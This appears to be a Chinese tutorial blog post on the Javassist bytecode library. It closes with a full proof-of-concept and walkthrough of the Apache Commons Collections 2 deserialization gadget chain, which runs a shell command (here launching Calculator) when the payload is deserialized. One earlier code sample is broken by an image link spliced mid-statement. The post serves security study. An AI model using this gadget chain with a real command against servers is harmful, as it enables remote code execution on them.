1. 什么是javassist

javassist是一个处理Java字节码的jar包,里面有很多类。

2. 什么是ClassPool

可以想象成一个容器,里面放着指定路径下的class文件,使用javassist对类进行操作的时候,必须先创建一个ClassPool。

它也可以暂时存放我们编辑的class文件,等写完后再拿出来放到指定的位置。我们对class文件的操作是在ClassPool中的进行的。

假如我们想获取一个Class文件进行修改,如果ClassPool的路径中没有它,那么我们是找不到的,必须使用insertClassPath();函数将class文件路径导入ClassPool中才可以。

如果我们不自定义路径,那么它的类的搜索路径包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径。

3. 什么是CtClass

CtClass是javassist中的一个类文件,它的对象可以理解成一个class文件的抽象表示。

一个CtClass对象可以用来修改一个class文件。

4. 写一个Class文件test.class

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import javassist.CtMethod;

import java.io.FileOutputStream;

public class JavasistTest {

    public static void main(String[] args) throws Exception{
        //默认的类搜索路径
        ClassPool pool = ClassPool.getDefault();

        //获取一个ctClass对象
        CtClass ctClass = pool.makeClass("Test");
        try {
            //添加age属性
            ctClass.addField(CtField.make("private int age;", ctClass));
            //添加setAge方法
            ctClass.addMethod(CtMethod.make("public void setAge(int age){this.age = age;}", ctClass));
            //添加getAge方法
            ctClass.addMethod(CtMethod.make("public int getAge(){return this.age;}", ctClass));
            //将ctClass生成字节数组,并写入文件
            byte[] byteArray = ctClass.toBytecode();
            FileOutputStream output = new FileOutputStream("/Users/zhujiayu/IdeaProjects/untitled/out/production/untitled/Test.class");
            output.write(byteArray);
            output.close();
            System.out.println("文件写入成功!!!");
        } catch (Exception e) {
            e.printStackTrace();
        }
}
}

新创建好的test文件如图所示:
在这里插入图片描述

5. 修改这个写好了的test.class

我们先将test文件挪到桌面然后执行下面的代码,发现报错,找不到名为Test的class文件:
在这里插入图片描述

import javassist.ClassPool;
import javassist.CtClass;

public class Javassisttest2 {

    public static void main(String[] args) {
        ClassPool pool = ClassPool.getDefault();
        try {
            //pool.insertClassPath("/Users/zhujiayu/Desktop/");
            CtClass ctClass = pool.get("Test");
            System.out.println(ctClass.getName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DsGDABRF-1636626723011)(/Users/zhujiayu/Library/Application Support/typora-user-images/image-20211111183007259.png)]

然后我们将注释取消掉,再执行一遍,发现已经不报错了:

在这里插入图片描述


完整的修改代码:

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;

import java.io.FileOutputStream;

public class Javassisttest2 {

    public static void main(String[] args) {
        ClassPool pool = ClassPool.getDefault();
        try {
            pool.insertClassPath("/Users/zhujiayu/Desktop/");
            CtClass ctClass = pool.get("Test");
            System.out.println(ctClass.getName());


            if (ctClass.isFrozen()) {
                ctClass.defrost();
            }
            ctClass.addField(CtField.make("private String sex;", ctClass));
            ctClass.addField(CtField.make("private String name;", ctClass));
            //修改test.class的父类,可以理解成修改test.class的继承关系,下面是将AbstractTranslet类指定为test的父类
            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));

            byte[] byteArray = ctClass.toBytecode();
            FileOutputStream output = new FileOutputStream("/Users/zhujiayu/IdeaProjects/untitled/out/production/untitled/Test.class");
            output.write(byteArray);
            output.close();
//
            System.out.println("文件修改成功!!!!");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

修改后我们打开test.class查看发现代码确实被修改了
在这里插入图片描述

6. 加载类并获取类中的私有变量

import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

public class Javassisttest2 {

    public static void main(String[] args) throws NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("/Users/zhujiayu/Desktop/");
        try {
            CtClass ctClass = pool.get("Test");
            Class<?> c = ctClass.toClass(); //相当于执行了Classloader,执行后会将上一行指定的Test.class加载到JVM中
            //生成实例instance
            Object qq = c.newInstance();
            //利用反射调用实例中的函数
            System.out.println("通过getage函数获取的age的数据为:"+c.getDeclaredMethod("getAge",null).invoke(qq,null));
            //利用反射获取实例中的私有变量
            System.out.println("通过getDeclaredField函数获取的age的数据为:"+c.getDeclaredField("age").get(qq));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

7. 利用原始ClassLoader的方式配合javassist加载class文件

 import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.lang.reflect.Method;

public class Javassisttest2 {

    public static void main(String[] args) throws NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("/Users/zhujiayu/Desktop/");
        try {
            CtClass ctClass = pool.get("Test");

            Class<?> clas = Class.forName("java.lang.ClassLoader");
            Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineclass.setAccessible(true);
            byte[] b = ctClass.toBytecode();
            Class c = (Class)defineclass.invoke(ClassLoader.getSystemClassLoader(), "Test", b, 0, b.length);
            //上面这5行就等于 Class<?> c = ctClass.toClass();

            Object qq = c.newInstance();


            System.out.println("通过getage函数获取的age的数据为:"+c.getDeclaredMethod("getAge",![在这里插入图片描述](https://img-blog.csdnimg.cn/59225d0d76304fd38ba381182b3fe962.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAU2hhbmZlbmdsYW43,size_20,color_FFFFFF,t_70,g_se,x_16)
null).invoke(qq,null));

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这里插入图片描述

9. apache CC2链逻辑

//poc
读取恶意字节码从而进行执行命令

Poc 如下:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class CommonCollection2 {
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer")
                .getDeclaredConstructor(String.class);
        constructor.setAccessible(true); 
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); 

        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}


  1. 我们先写好恶意类,并设置好参数传入TemplatesImpl对象中.只要我们触发这个对象的newTransformer函数即可触发恶意代码执行.
  2. InvokerTransformer类的transform函数,可以触发指定类的指定函数.我们可以配置一个InvokerTransformer类的对象,设置参数,使其可以通过transform函数触发指定类的newTransformer函数,这个指定类就是transform函数的参数.现在我们想办法触发InvokerTransformer实例的transform函数并且将上面创建的TemplatesImpl实例传入transform函数即可完成攻击.
  3. TransformingComparator类中有一个属性叫做transformer,当TransformingComparator实例的Compare函数被触发的时候,就会执行TransformingComparator实例中transformer的transform方法.且compare函数的参数会被传递给transform函数当作它自己的参数.如果我们可以将compare的参数设置成恶意的TemplatesImpl对象,并且触发compare函数,那么就能实现攻击.现在问题是如何给compare函数传入参数并且触发TransformingComparator.compare()这个函数.
  4. PriorityQueue类在反序列化时候会调用comparator对象的compare方法,compare方法的参数是PriorityQueue类的queue属性中的值,而queue属性在序列化的时候可以被我们提前定义。们可以通过反射设置comparator的值.也可以设置queue对象的值,这也就意味着我们满足了要执行命令的所有条件.
  5. 综上,我们创建一个PriorityQueue类的对象,并将TransformingComparator传给comparator,将恶意TemplatesImpl对象按照特定格式传给PriorityQueue的queue属性,然后将这个PriorityQueue对象进行序列化,传送给服务端等待被反序列化,反序列化时就会触发RCE攻击。

8. 参考文章

ClassPool CtClass浅析
Java动态编程初探——Javassist
Java反序列化-CommonsCollections2分析

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐